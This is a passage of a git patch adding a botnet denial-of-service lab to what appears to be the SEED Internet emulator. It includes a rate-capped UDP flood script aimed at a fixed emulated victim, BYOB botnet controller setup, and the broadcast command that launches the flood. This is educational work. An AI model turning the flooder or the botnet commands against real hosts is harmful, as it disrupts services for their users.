- latest_bandwidth = bandwidth_samples[-1] if bandwidth_samples else None - return { - "sample_count": len(samples), - "failure_count": len(samples) - len(successful), - "success_rate": round(len(successful) * 100 / len(samples), 1) if samples else 0, - "latest_success": latest["success"] if latest else None, - "latest_latency_ms": latest["latency_ms"] if latest else None, - "average_latency_ms": ( - round(sum(sample["latency_ms"] for sample in successful) / len(successful), 2) - if successful - else None - ), - "last_probe_age_seconds": ( - round(max(0, time.time() - latest["timestamp_ms"] / 1000), 2) - if latest - else None - ), - "bandwidth_sample_count": len(bandwidth_samples), - "bandwidth_failure_count": len(bandwidth_samples) - len(successful_bandwidth), - "latest_bandwidth_success": ( - latest_bandwidth["bandwidth_success"] if latest_bandwidth else None - ), - "latest_throughput_mbps": ( - latest_bandwidth["throughput_mbps"] if latest_bandwidth else None - ), - "average_throughput_mbps": ( - round( - sum(sample["throughput_mbps"] for sample in successful_bandwidth) - / len(successful_bandwidth), - 3, - ) - if successful_bandwidth - else None - ), - "last_bandwidth_age_seconds": ( - round(max(0, time.time() - latest_bandwidth["timestamp_ms"] / 1000), 2) - if latest_bandwidth - else None - ), - "samples": samples, - } - - def capture_packets(config: dict[str, Any], counter: PacketCounter) -> None: command = [ "tcpdump", @@ -257,10 +131,7 @@ def make_handler( frontend_config: dict[str, Any], extension_js: bytes, extension_css: bytes, - impact_tracker: ImpactTracker | None = None, ): - impact = impact_tracker or ImpactTracker() - class Handler(BaseHTTPRequestHandler): def do_GET(self) -> None: # noqa: N802 path = urlparse(self.path).path @@ -273,11 +144,7 @@ def do_GET(self) -> None: # noqa: N802 elif path == "/api/config": self._send_json(200, {"api_version": 1, "frontend": frontend_config}) elif path == "/api/stats": - stats = counter.snapshot() - stats["impact"] = impact.snapshot() - self._send_json(200, stats) - elif path == "/api/impact": - self._send_json(200, impact.snapshot()) + self._send_json(200, counter.snapshot()) elif path == "/healthz": status = 200 if counter.status != "error" else 503 self._send_json(status, {"status": counter.status}) @@ -286,17 +153,8 @@ def do_GET(self) -> None: # noqa: N802 def do_POST(self) -> None: # noqa: N802 path = urlparse(self.path).path - if path == "/api/impact": - try: - impact.record(self._read_json()) - except (ValueError, json.JSONDecodeError) as error: - self._send_json(400, {"error": str(error)}) - return - self._send_json(200, {"status": "recorded"}) - return if path == "/api/reset": counter.reset() - impact.reset() self._send_json(200, {"status": "reset"}) return self._send_json(404, {"error": "not found"}) @@ -308,15 +166,6 @@ def _send_json(self, status: int, payload: dict[str, Any]) -> None: body = json.dumps(payload).encode("utf-8") self._send(status, "application/json; charset=utf-8", body) - def _read_json(self) -> dict[str, Any]: - content_length = int(self.headers.get("Content-Length", "0")) - if content_length < 1 or content_length > 4096: - raise ValueError("request body must be between 1 and 4096 bytes") - payload = json.loads(self.rfile.read(content_length)) - if not isinstance(payload, dict): - raise ValueError("request body must be a JSON object") - return payload - def _send(self, status: int, content_type: str, body: bytes) -> None: self.send_response(status) self.send_header("Content-Type", content_type) @@ -365,7 +214,6 @@ def main() -> int: dashboard = Path(args.dashboard).read_bytes() frontend_config, extension_js, extension_css = load_frontend(config, config_path) counter = PacketCounter() - impact_tracker = ImpactTracker(int(config.get("impact_max_samples", 60))) threading.Thread(target=capture_packets, args=(config, counter), daemon=True).start() threading.Thread(target=sample_each_second, args=(counter,), daemon=True).start() @@ -379,7 +227,6 @@ def main() -> int: frontend_config, extension_js, extension_css, - impact_tracker, ), ) print(f"Traffic Visualizer listening on http://{address[0]}:{address[1]}", flush=True) From b324c0be208171930c510770ca9c63bb1a6040fe Mon Sep 17 00:00:00 2001 From: Kevin Du Date: Mon, 20 Jul 2026 06:36:47 +0800 Subject: [PATCH 32/33] added Y13 botnet example --- examples/yesterday_once_more/README.md | 1 + .../Y13_botnet_dos_attack/README.md | 148 +++++++++ .../Y13_botnet_dos_attack/bot_attack.py | 140 ++++++++ .../Y13_botnet_dos_attack/emulator.py | 299 ++++++++++++++++++ .../Y13_botnet_dos_attack/example.yaml | 63 ++++ .../show_attack_command.sh | 13 + .../Y13_botnet_dos_attack/test_runtime.py | 143 +++++++++ .../traffic_visualizer_config.json | 24 ++ .../traffic_visualizer_extension.css | 169 ++++++++++ .../traffic_visualizer_extension.js | 219 +++++++++++++ .../Y13_botnet_dos_attack/udp_sink.py | 46 +++ 11 files changed, 1265 insertions(+) create mode 100644 examples/yesterday_once_more/Y13_botnet_dos_attack/README.md create mode 100644 examples/yesterday_once_more/Y13_botnet_dos_attack/bot_attack.py create mode 100644 examples/yesterday_once_more/Y13_botnet_dos_attack/emulator.py create mode 100644 examples/yesterday_once_more/Y13_botnet_dos_attack/example.yaml create mode 100644 examples/yesterday_once_more/Y13_botnet_dos_attack/show_attack_command.sh create mode 100644 examples/yesterday_once_more/Y13_botnet_dos_attack/test_runtime.py create mode 100644 examples/yesterday_once_more/Y13_botnet_dos_attack/traffic_visualizer_config.json create mode 100644 examples/yesterday_once_more/Y13_botnet_dos_attack/traffic_visualizer_extension.css create mode 100644 examples/yesterday_once_more/Y13_botnet_dos_attack/traffic_visualizer_extension.js create mode 100644 examples/yesterday_once_more/Y13_botnet_dos_attack/udp_sink.py diff --git a/examples/yesterday_once_more/README.md b/examples/yesterday_once_more/README.md index 38913084b..dc26d86b5 100644 --- a/examples/yesterday_once_more/README.md +++ b/examples/yesterday_once_more/README.md @@ -10,3 +10,4 @@ We recreate some of the notorious Internet attacks and incidents: - Y10_ntp_amplification - Y11_smurf_fraggle_attack - Y12_mitnick_attack +- Y13_botnet_dos_attack diff --git a/examples/yesterday_once_more/Y13_botnet_dos_attack/README.md b/examples/yesterday_once_more/Y13_botnet_dos_attack/README.md new file mode 100644 index 000000000..b94749173 --- /dev/null +++ b/examples/yesterday_once_more/Y13_botnet_dos_attack/README.md @@ -0,0 +1,148 @@ +# Botnet Denial-of-Service Attack + +Y13 demonstrates how an established botnet can coordinate a denial-of-service +attack inside the isolated SEED Emulator Internet. Unlike Y03, which focuses on +the Mirai infection story, Y13 starts with enrolled bots and focuses on +command-and-control, aggregate traffic, and the impact on legitimate users. + +The example reuses the emulator's BYOB services from +`seedemu/services/BotnetService.py`. The attack program is intentionally +example-owned and preinstalled on every bot. BYOB is used to invoke that program +across all enrolled clients with one broadcast command. + +## Topology + +- AS150: BYOB controller at `10.150.0.66`. +- AS151: victim at `10.151.0.71` and its access router. +- AS153: legitimate client running the health and bandwidth probe. +- AS152, AS154, and selected AS160--AS171 networks: distributed bot clients. +- Victim UDP port `9000`: reply-free attack sink. +- Victim TCP port `8000`: synthetic legitimate HTTP service. + +```mermaid +flowchart LR + Operator["Operator"] -->|"one broadcast command"| C2["BYOB controller
AS150"] + C2 --> Bots["Distributed bots
multiple ASes"] + Bots -->|"bounded UDP streams"| Router["AS151 access router
runtime rate limit"] + Router --> Victim["Victim
UDP sink + HTTP service"] + Probe["Legitimate client
AS153"] -->|"latency and goodput probes"| Router + Browser["Browser"] -->|"GET :8081/api/stats"| Victim + Browser -->|"GET :8082/api/health"| Probe +``` + +## Safety and repeatability + +`bot_attack.py` is constrained to the Y13 victim, `10.151.0.71:9000`. It does +not accept a destination argument or spoof source addresses. It also enforces +upper bounds on duration, packet rate, payload size, rounds, and the delay +between rounds. The default command stops after ten seconds. + +The configured load shown by the dashboard is an estimate based on the default +command. It includes the 20-byte IPv4 header and 8-byte UDP header. The observed +rate comes from IPv4 Total Length values reported by `tcpdump` on the victim. + +## Build and start + +From the repository root: + +```sh +python examples/yesterday_once_more/Y13_botnet_dos_attack/emulator.py \ + --platform amd \ + --output examples/yesterday_once_more/Y13_botnet_dos_attack/output + +docker compose -f examples/yesterday_once_more/Y13_botnet_dos_attack/output/docker-compose.yml up -d +``` + +The default is eight bots. A different count can be selected at compile time: + +```sh +python examples/yesterday_once_more/Y13_botnet_dos_attack/emulator.py --bot-count 12 +``` + +Bots are assigned round-robin across the candidate ASes. Counts greater than +the number of candidate ASes create multiple bot hosts in some ASes. Y13 checks +the standard automatic host allocation range and rejects a count that would +overflow it; the maximum therefore depends on `--hosts-per-as`. + +## Open the dashboard + +Open . The browser gets attack traffic statistics from +the victim on host port `8081` and health data directly from the legitimate +client's probe on host port `8082`. + +At baseline, the attack counter should be idle and the legitimate HTTP service +should be healthy. + +## Make network contention visible + +The rate limit is controlled at runtime and is not hardcoded into the topology. +Apply it to the AS151 border-router interface facing the victim network: + +```sh +docker exec brdnode_151_router0 \ + python3 /opt/botnet-dos/traffic_visualizer/network_control.py set \ + --subnet 10.151.0.0/24 --rate 8mbit +``` + +Inspect or remove it with: + +```sh +docker exec brdnode_151_router0 \ + python3 /opt/botnet-dos/traffic_visualizer/network_control.py status \ + --subnet 10.151.0.0/24 + +docker exec brdnode_151_router0 \ + python3 /opt/botnet-dos/traffic_visualizer/network_control.py clear \ + --subnet 10.151.0.0/24 +``` + +The router name starts with `brdnode`, which is the naming convention generated +for these router containers. + +## Launch through BYOB + +Enter the controller and display the prepared instructions: + +```sh +docker exec -it hnode_150_bot-controller bash +show-attack-command +start-byob-shell +``` + +Inside the BYOB shell, first confirm that clients are enrolled: + +```text +sessions +``` + +Then invoke the preinstalled sender on every client: + +```text +broadcast python3 /opt/botnet-dos/bot_attack.py --duration 10 --pps 200 --packet-size 1200 +``` + +With eight bots, this command offers approximately 15.72 Mbps at the IP layer. +While it runs, the dashboard bot icons animate, the attack rate rises, and the +health panel should show increased latency, reduced goodput, failures, or a +combination of these effects. + +Multiple bounded rounds can also illustrate degradation and recovery: + +```text +broadcast python3 /opt/botnet-dos/bot_attack.py --duration 8 --pps 200 --packet-size 1200 --rounds 3 --interval 5 +``` + +## Important interpretation + +The animated icons represent the configured bot population and become active +when the victim observes attack traffic. The current Traffic Visualizer counts +aggregate traffic; it does not yet claim that every configured bot is actively +sending. Optional source-IP aggregation can be added to the shared tool later +if the lesson needs a measured active-source count. + +## Automated validation + +`example.yaml` follows the standard example lifecycle. Its runtime test checks +BYOB infrastructure, bot installation, the victim services, the health API, and +the router control tool. It sends only a sub-second, approximately one-packet +smoke stream from one bot; automated testing never launches the DoS workload. diff --git a/examples/yesterday_once_more/Y13_botnet_dos_attack/bot_attack.py b/examples/yesterday_once_more/Y13_botnet_dos_attack/bot_attack.py new file mode 100644 index 000000000..18fb77bc9 --- /dev/null +++ b/examples/yesterday_once_more/Y13_botnet_dos_attack/bot_attack.py @@ -0,0 +1,140 @@ +#!/usr/bin/env python3 +"""Bounded UDP sender for the Y13 SEED Emulator botnet lab.""" + +from __future__ import annotations + +import argparse +import json +import os +import socket +import time + + +VICTIM_IP = "10.151.0.71" +VICTIM_PORT = 9000 +MAX_DURATION = 60.0 +MAX_PACKETS_PER_SECOND = 2000 +MAX_PACKET_SIZE = 1400 +MAX_ROUNDS = 20 +MAX_ROUND_INTERVAL = 60.0 + + +def bounded(value: float, minimum: float, maximum: float, name: str) -> float: + if not minimum <= value <= maximum: + raise argparse.ArgumentTypeError( + f"{name} must be between {minimum:g} and {maximum:g}" + ) + return value + + +def parse_args() -> argparse.Namespace: + parser = argparse.ArgumentParser( + description="Send a rate-limited UDP stream to the fixed Y13 lab victim." + ) + parser.add_argument( + "--duration", + type=lambda value: bounded(float(value), 0.1, MAX_DURATION, "duration"), + default=10.0, + help=f"seconds per round (maximum {MAX_DURATION:g})", + ) + parser.add_argument( + "--pps", + type=lambda value: int(bounded(float(value), 1, MAX_PACKETS_PER_SECOND, "pps")), + default=200, + help=f"packets per second (maximum {MAX_PACKETS_PER_SECOND})", + ) + parser.add_argument( + "--packet-size", + type=lambda value: int(bounded(float(value), 32, MAX_PACKET_SIZE, "packet size")), + default=1200, + help=f"UDP payload bytes (maximum {MAX_PACKET_SIZE})", + ) + parser.add_argument( + "--rounds", + type=lambda value: int(bounded(float(value), 1, MAX_ROUNDS, "rounds")), + default=1, + ) + parser.add_argument( + "--interval", + type=lambda value: bounded(float(value), 0, MAX_ROUND_INTERVAL, "interval"), + default=2.0, + help="seconds between rounds", + ) + parser.add_argument("--dry-run", action="store_true") + parser.add_argument("--json", action="store_true") + return parser.parse_args() + + +def make_payload(size: int) -> bytes: + identity = f"Y13:{socket.gethostname()}:{os.getpid()}:".encode("ascii", "replace") + return (identity + b"X" * size)[:size] + + +def run_round(sock: socket.socket, payload: bytes, duration: float, pps: int) -> int: + deadline = time.monotonic() + duration + next_send = time.monotonic() + period = 1.0 / pps + sent = 0 + + while time.monotonic() < deadline: + sock.sendto(payload, (VICTIM_IP, VICTIM_PORT)) + sent += 1 + next_send += period + delay = next_send - time.monotonic() + if delay > 0: + time.sleep(delay) + elif delay < -1.0: + next_send = time.monotonic() + return sent + + +def main() -> int: + args = parse_args() + configuration = { + "target": f"{VICTIM_IP}:{VICTIM_PORT}", + "duration_seconds": args.duration, + "packets_per_second": args.pps, + "udp_payload_bytes": args.packet_size, + "rounds": args.rounds, + "round_interval_seconds": args.interval, + "dry_run": args.dry_run, + } + if args.dry_run: + print(json.dumps(configuration) if args.json else configuration, flush=True) + return 0 + + payload = make_payload(args.packet_size) + total_sent = 0 + started = time.monotonic() + with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as sock: + for round_number in range(1, args.rounds + 1): + print( + f"round {round_number}/{args.rounds}: sending to " + f"{VICTIM_IP}:{VICTIM_PORT} at {args.pps} pps for {args.duration:g}s", + flush=True, + ) + sent = run_round(sock, payload, args.duration, args.pps) + total_sent += sent + print(f"round {round_number}/{args.rounds}: sent {sent} packets", flush=True) + if round_number < args.rounds and args.interval: + time.sleep(args.interval) + + summary = { + **configuration, + "packets_sent": total_sent, + "payload_bytes_sent": total_sent * len(payload), + "elapsed_seconds": round(time.monotonic() - started, 3), + } + if args.json: + print(json.dumps(summary), flush=True) + else: + print( + "complete: sent {packets_sent} packets ({payload_bytes_sent} payload bytes) " + "in {elapsed_seconds:.3f}s".format(**summary), + flush=True, + ) + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/examples/yesterday_once_more/Y13_botnet_dos_attack/emulator.py b/examples/yesterday_once_more/Y13_botnet_dos_attack/emulator.py new file mode 100644 index 000000000..14b633003 --- /dev/null +++ b/examples/yesterday_once_more/Y13_botnet_dos_attack/emulator.py @@ -0,0 +1,299 @@ +#!/usr/bin/env python3 +# encoding: utf-8 + +from __future__ import annotations + +import argparse +import json +from pathlib import Path +import sys + + +SCRIPT_DIR = Path(__file__).resolve().parent +REPO_ROOT = SCRIPT_DIR.parents[2] +B00_DIR = REPO_ROOT / "examples" / "internet" / "B00_mini_internet" +TRAFFIC_VISUALIZER_SOURCE_DIR = REPO_ROOT / "tools" / "TrafficVisualizer" + +for path in [REPO_ROOT, B00_DIR]: + if str(path) not in sys.path: + sys.path.insert(0, str(path)) + +from mini_internet import build_emulator +from seedemu.compiler import Docker, Platform +from seedemu.core import Action, Binding, Emulator, Filter, Node +from seedemu.services import BotnetClientService, BotnetService + + +BOT_CONTROLLER_IP = "10.150.0.66" +BOT_CANDIDATE_ASNS = [152, 154, 160, 161, 162, 163, 164, 170, 171] +AUTOMATIC_HOST_SLOTS_PER_AS = 29 +VICTIM_HOST = (151, "host_0") +VICTIM_IP = "10.151.0.71" +VICTIM_ROUTER = (151, "router0") +LEGITIMATE_CLIENT_HOST = (153, "host_0") +DEMO_DIR = "/opt/botnet-dos" +TRAFFIC_VISUALIZER_DIR = f"{DEMO_DIR}/traffic_visualizer" +TRAFFIC_VISUALIZER_HOST_PORT = 8081 +TRAFFIC_VISUALIZER_CONTAINER_PORT = 8080 +HEALTH_PROBE_HOST_PORT = 8082 +HEALTH_PROBE_CONTAINER_PORT = 8080 +VICTIM_SERVICE_PORT = 8000 +ATTACK_PORT = 9000 +DEFAULT_BOT_PPS = 200 +DEFAULT_UDP_PAYLOAD_BYTES = 1200 + + +def parse_args() -> argparse.Namespace: + parser = argparse.ArgumentParser(description="Build the Y13 botnet DoS example.") + parser.add_argument("legacy_platform", nargs="?", choices=["amd", "arm"]) + parser.add_argument("--platform", choices=["amd", "arm"]) + parser.add_argument("--output", default=str(SCRIPT_DIR / "output")) + parser.add_argument("--dumpfile") + parser.add_argument("--hosts-per-as", type=int, default=2) + parser.add_argument("--bot-count", type=int, default=8) + parser.add_argument("--override", dest="override", action="store_true", default=True) + parser.add_argument("--no-override", dest="override", action="store_false") + parser.add_argument("--skip-render", dest="render", action="store_false", default=True) + args = parser.parse_args() + args.platform = args.platform or args.legacy_platform or "amd" + if args.hosts_per_as < 1 or args.hosts_per_as >= AUTOMATIC_HOST_SLOTS_PER_AS: + parser.error(f"--hosts-per-as must be between 1 and {AUTOMATIC_HOST_SLOTS_PER_AS - 1}") + if args.bot_count < 1: + parser.error("--bot-count must be at least 1") + maximum_bots = len(BOT_CANDIDATE_ASNS) * ( + AUTOMATIC_HOST_SLOTS_PER_AS - args.hosts_per_as + ) + if args.bot_count > maximum_bots: + parser.error( + f"--bot-count cannot exceed {maximum_bots} with " + f"--hosts-per-as {args.hosts_per_as}" + ) + return args + + +def resolve_platform(name: str) -> Platform: + return Platform.AMD64 if name == "amd" else Platform.ARM64 + + +def get_base(emu: Emulator): + return emu.getLayer("Base") + + +def get_host(emu: Emulator, asn: int, name: str) -> Node: + return get_base(emu).getAutonomousSystem(asn).getHost(name) + + +def get_router(emu: Emulator, asn: int, name: str) -> Node: + return get_base(emu).getAutonomousSystem(asn).getRouter(name) + + +def read_example_file(name: str) -> str: + return (SCRIPT_DIR / name).read_text(encoding="utf-8") + + +def install_example_file(node: Node, local_name: str, remote_name: str | None = None) -> None: + node.setFile(f"{DEMO_DIR}/{remote_name or local_name}", read_example_file(local_name)) + + +def install_traffic_visualizer_file(node: Node, name: str) -> None: + content = (TRAFFIC_VISUALIZER_SOURCE_DIR / name).read_text(encoding="utf-8") + node.setFile(f"{TRAFFIC_VISUALIZER_DIR}/{name}", content) + + +def prepare_demo_dir(node: Node) -> None: + node.addBuildCommand(f"mkdir -p {DEMO_DIR} {TRAFFIC_VISUALIZER_DIR}") + node.appendStartCommand(f"mkdir -p {DEMO_DIR} {TRAFFIC_VISUALIZER_DIR}") + + +def configure_bot_node(node: Node, index: int) -> None: + node.addSoftware("python3") + prepare_demo_dir(node) + install_example_file(node, "bot_attack.py") + node.appendStartCommand(f"chmod +x {DEMO_DIR}/bot_attack.py") + node.setDisplayName(f"Bot-{index:03d}") + node.appendClassName("BotnetDosBot") + + +def configure_controller(emu: Emulator, botnet: BotnetService) -> None: + botnet.install("bot-controller") + node = emu.getVirtualNode("bot-controller") + node.setDisplayName("Bot-Controller") + node.setFile("/bin/show-attack-command", read_example_file("show_attack_command.sh")) + node.appendStartCommand("chmod +x /bin/show-attack-command") + node.appendClassName("BotnetDosController") + emu.addBinding( + Binding( + "bot-controller", + filter=Filter(ip=BOT_CONTROLLER_IP, nodeName="bot-controller"), + action=Action.NEW, + ) + ) + + +def configure_bots(emu: Emulator, clients: BotnetClientService, bot_count: int) -> None: + for index in range(bot_count): + vnode = f"bot-node-{index:03d}" + asn = BOT_CANDIDATE_ASNS[index % len(BOT_CANDIDATE_ASNS)] + clients.install(vnode).setServer("bot-controller") + configure_bot_node(emu.getVirtualNode(vnode), index) + emu.addBinding( + Binding( + vnode, + filter=Filter(asn=asn, nodeName=vnode), + action=Action.NEW, + ) + ) + + +def configure_victim_router(router: Node) -> None: + router.addSoftware("python3") + router.addSoftware("iproute2") + prepare_demo_dir(router) + install_traffic_visualizer_file(router, "network_control.py") + router.appendStartCommand(f"chmod +x {TRAFFIC_VISUALIZER_DIR}/network_control.py") + router.appendClassName("VictimAccessLinkController") + router.setDisplayName("Victim-Access-Router") + + +def visualizer_config(bot_count: int) -> str: + config = json.loads(read_example_file("traffic_visualizer_config.json")) + options = config["frontend"]["options"] + options["bot_count"] = bot_count + options["bot_pps"] = DEFAULT_BOT_PPS + options["udp_payload_bytes"] = DEFAULT_UDP_PAYLOAD_BYTES + options["offered_load_mbps"] = round( + bot_count * DEFAULT_BOT_PPS * (DEFAULT_UDP_PAYLOAD_BYTES + 28) * 8 / 1_000_000, + 2, + ) + return json.dumps(config, indent=2) + "\n" + + +def configure_victim(host: Node, bot_count: int) -> None: + host.addSoftware("python3") + host.addSoftware("tcpdump") + prepare_demo_dir(host) + install_example_file(host, "udp_sink.py") + install_traffic_visualizer_file(host, "victim_http_service.py") + install_traffic_visualizer_file(host, "traffic_visualizer.py") + install_traffic_visualizer_file(host, "dashboard.html") + host.setFile(f"{TRAFFIC_VISUALIZER_DIR}/config.json", visualizer_config(bot_count)) + install_example_file( + host, + "traffic_visualizer_extension.js", + "traffic_visualizer/traffic_visualizer_extension.js", + ) + install_example_file( + host, + "traffic_visualizer_extension.css", + "traffic_visualizer/traffic_visualizer_extension.css", + ) + host.addPortForwarding(TRAFFIC_VISUALIZER_HOST_PORT, TRAFFIC_VISUALIZER_CONTAINER_PORT) + host.appendStartCommand( + f"chmod +x {DEMO_DIR}/udp_sink.py {TRAFFIC_VISUALIZER_DIR}/victim_http_service.py " + f"{TRAFFIC_VISUALIZER_DIR}/traffic_visualizer.py" + ) + host.appendStartCommand( + f"python3 {DEMO_DIR}/udp_sink.py --port {ATTACK_PORT} " + ">> /var/log/y13-udp-sink.log 2>&1", + fork=True, + ) + host.appendStartCommand( + f"python3 {TRAFFIC_VISUALIZER_DIR}/victim_http_service.py --port {VICTIM_SERVICE_PORT} " + ">> /var/log/y13-victim-http.log 2>&1", + fork=True, + ) + host.appendStartCommand( + f"python3 {TRAFFIC_VISUALIZER_DIR}/traffic_visualizer.py " + f"--config {TRAFFIC_VISUALIZER_DIR}/config.json " + f"--dashboard {TRAFFIC_VISUALIZER_DIR}/dashboard.html " + ">> /var/log/y13-traffic-visualizer.log 2>&1", + fork=True, + ) + host.appendClassName("BotnetDosVictim") + host.appendClassName("TrafficVisualizer") + host.appendClassName("VictimHttpService") + host.setDisplayName("Victim") + + +def configure_legitimate_client(host: Node) -> None: + host.addSoftware("python3") + prepare_demo_dir(host) + install_traffic_visualizer_file(host, "health_probe.py") + host.addPortForwarding(HEALTH_PROBE_HOST_PORT, HEALTH_PROBE_CONTAINER_PORT) + host.appendStartCommand(f"chmod +x {TRAFFIC_VISUALIZER_DIR}/health_probe.py") + host.appendStartCommand( + f"python3 {TRAFFIC_VISUALIZER_DIR}/health_probe.py " + f"--target http://{VICTIM_IP}:{VICTIM_SERVICE_PORT}/health " + f"--bandwidth-url http://{VICTIM_IP}:{VICTIM_SERVICE_PORT}/bandwidth " + "--interval 0.2 --timeout 0.5 " + "--bandwidth-bytes 262144 --bandwidth-interval 5 --bandwidth-timeout 3 " + f"--serve-port {HEALTH_PROBE_CONTAINER_PORT} --cors-origin '*' --max-samples 300 " + ">> /var/log/y13-health-probe.log 2>&1", + fork=True, + ) + host.appendClassName("LegitimateClient") + host.setDisplayName("Legitimate-Client") + + +def build_y13_emulator(hosts_per_as: int = 2, bot_count: int = 8) -> Emulator: + available_per_as = AUTOMATIC_HOST_SLOTS_PER_AS - hosts_per_as + maximum_bots = len(BOT_CANDIDATE_ASNS) * available_per_as + if hosts_per_as < 1 or available_per_as < 1: + raise ValueError( + f"hosts_per_as must be between 1 and {AUTOMATIC_HOST_SLOTS_PER_AS - 1}" + ) + if bot_count < 1 or bot_count > maximum_bots: + raise ValueError( + f"bot_count must be between 1 and {maximum_bots} for hosts_per_as={hosts_per_as}" + ) + emu = build_emulator(hosts_per_as=hosts_per_as) + botnet = BotnetService() + clients = BotnetClientService() + + configure_controller(emu, botnet) + configure_bots(emu, clients, bot_count) + configure_victim_router(get_router(emu, *VICTIM_ROUTER)) + configure_victim(get_host(emu, *VICTIM_HOST), bot_count) + configure_legitimate_client(get_host(emu, *LEGITIMATE_CLIENT_HOST)) + + emu.addLayer(botnet) + emu.addLayer(clients) + return emu + + +def run( + dumpfile=None, + hosts_per_as: int = 2, + bot_count: int = 8, + output=None, + platform=Platform.AMD64, + override: bool = True, + render: bool = True, +) -> None: + emu = build_y13_emulator(hosts_per_as=hosts_per_as, bot_count=bot_count) + if dumpfile is not None: + emu.dump(dumpfile) + return + if render: + emu.render() + emu.compile(Docker(platform=platform), output or str(SCRIPT_DIR / "output"), override=override) + + +def main() -> int: + args = parse_args() + output_dir = Path(args.output).resolve() + output_dir.parent.mkdir(parents=True, exist_ok=True) + run( + dumpfile=args.dumpfile, + hosts_per_as=args.hosts_per_as, + bot_count=args.bot_count, + output=str(output_dir), + platform=resolve_platform(args.platform), + override=args.override, + render=args.render, + ) + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/examples/yesterday_once_more/Y13_botnet_dos_attack/example.yaml b/examples/yesterday_once_more/Y13_botnet_dos_attack/example.yaml new file mode 100644 index 000000000..78a822713 --- /dev/null +++ b/examples/yesterday_once_more/Y13_botnet_dos_attack/example.yaml @@ -0,0 +1,63 @@ +id: yesterday-y13-botnet-dos-attack +name: Botnet Denial-of-Service Attack +description: B00 mini-Internet topology with a BYOB controller, distributed bots, and victim-impact visualization. +runner: internet +script: emulator.py +platform: amd +features: + - mini-internet + - botnet + - byob + - command-and-control + - udp-denial-of-service + - traffic-visualization + - victim-health-probe + +compile: + enabled: true + output: output + clean: + - output + expected: + - output/docker-compose.yml + timeout: 600 + +build: + enabled: true + timeout: 2400 + +runtime: + compose: output/docker-compose.yml + readiness: + - name: Y13 controller and victim-impact services are running + type: compose-ps + services: + - hnode_150_bot-controller + - hnode_151_host_0 + - hnode_153_host_0 + - brdnode_151_router0 + retries: 40 + interval: 3 + +probes: + - name: controller exposes the BYOB dropper endpoint + type: exec + service: hnode_150_bot-controller + command: curl -fsS http://127.0.0.1:446/clients/droppers/client.py >/dev/null + expect_exit: 0 + retries: 60 + interval: 5 + timeout: 45 + + - name: traffic visualizer is healthy + type: exec + service: hnode_151_host_0 + command: python3 -c "import urllib.request; assert urllib.request.urlopen('http://127.0.0.1:8080/healthz').status == 200" + expect_exit: 0 + retries: 30 + interval: 2 + +test_programs: + - name: Y13 botnet DoS runtime validation + script: test_runtime.py + timeout: 900 diff --git a/examples/yesterday_once_more/Y13_botnet_dos_attack/show_attack_command.sh b/examples/yesterday_once_more/Y13_botnet_dos_attack/show_attack_command.sh new file mode 100644 index 000000000..917095285 --- /dev/null +++ b/examples/yesterday_once_more/Y13_botnet_dos_attack/show_attack_command.sh @@ -0,0 +1,13 @@ +#!/bin/sh + +cat <<'EOF' +In the BYOB shell, list the enrolled clients: + + sessions + +Then broadcast the bounded Y13 attack command: + + broadcast python3 /opt/botnet-dos/bot_attack.py --duration 10 --pps 200 --packet-size 1200 + +The target is fixed inside bot_attack.py at 10.151.0.71:9000. +EOF diff --git a/examples/yesterday_once_more/Y13_botnet_dos_attack/test_runtime.py b/examples/yesterday_once_more/Y13_botnet_dos_attack/test_runtime.py new file mode 100644 index 000000000..c4fa3481f --- /dev/null +++ b/examples/yesterday_once_more/Y13_botnet_dos_attack/test_runtime.py @@ -0,0 +1,143 @@ +#!/usr/bin/env python3 +"""Validate Y13 infrastructure without launching a denial-of-service load.""" + +from __future__ import annotations + +from typing import List + +from seedemu.testing import ComposeRuntimeTest, ComposeService +from seedemu.testing.runtime import ADDRESS_LABEL, NODE_LABEL + + +BOT_CONTROLLER_IP = "10.150.0.66" +EXPECTED_BOT_COUNT = 8 + + +def discover_bots(test: ComposeRuntimeTest) -> List[ComposeService]: + bots: List[ComposeService] = [] + for name, service in test.compose.get("services", {}).items(): + labels = dict(service.get("labels", {})) + node_name = str(labels.get(NODE_LABEL, "")) + if node_name.startswith("bot-node-"): + address = str(labels.get(ADDRESS_LABEL, "")).split("/", 1)[0] + bots.append(ComposeService(name=str(name), address=address, labels=labels)) + bots.sort(key=lambda service: str(service.labels.get(NODE_LABEL, service.name))) + return bots + + +def main() -> int: + test = ComposeRuntimeTest(__file__) + controller = test.require_service(150, "bot-controller", "AS150 BYOB controller is generated") + victim = test.require_service(151, "host_0", "AS151 victim is generated") + victim_router = test.require_service(151, "router0", "AS151 victim access router is generated") + legitimate_client = test.require_service(153, "host_0", "AS153 legitimate client is generated") + bots = discover_bots(test) + + test.structural_check( + "Y13 creates eight distributed bot clients", + len(bots) == EXPECTED_BOT_COUNT, + f"found {len(bots)} bot clients", + ) + + if controller: + test.structural_check( + "bot controller uses the expected address", + controller.address == BOT_CONTROLLER_IP, + f"controller address={controller.address}", + ) + test.exec_check( + "controller has BYOB and classroom helpers", + controller, + "test -f /tmp/byob/byob/server.py && test -x /bin/start-byob-shell " + "&& test -x /bin/show-attack-command", + retries=30, + interval=3, + ) + test.exec_check( + "controller exposes the BYOB dropper endpoint", + controller, + "curl -fsS http://127.0.0.1:446/clients/droppers/client.py >/dev/null", + retries=60, + interval=5, + timeout=45, + ) + + for bot in bots: + label = bot.labels.get(NODE_LABEL, bot.name) + test.exec_check( + f"{label} has BYOB and the bounded attack agent", + bot, + "test -x /tmp/byob_client_dropper_runner && test -x /opt/botnet-dos/bot_attack.py " + "&& python3 /opt/botnet-dos/bot_attack.py --dry-run --json >/dev/null", + retries=30, + interval=3, + ) + + if victim: + test.exec_check( + "victim UDP sink and HTTP service are running", + victim, + "ps -ef | grep -F '/opt/botnet-dos/udp_sink.py' | grep -v grep >/dev/null " + "&& python3 -c \"import json,urllib.request; " + "d=json.load(urllib.request.urlopen('http://127.0.0.1:8000/health')); " + "assert d['status'] == 'ok', d\"", + retries=30, + interval=2, + ) + test.exec_check( + "traffic visualizer serves Y13 configuration", + victim, + "python3 -c \"import json,urllib.request; " + "d=json.load(urllib.request.urlopen('http://127.0.0.1:8080/api/config')); " + "assert d['frontend']['options']['bot_count'] == 8, d\"", + retries=30, + interval=2, + ) + + if victim_router: + test.exec_check( + "victim access router includes the runtime link controller", + victim_router, + "test -x /opt/botnet-dos/traffic_visualizer/network_control.py", + retries=1, + 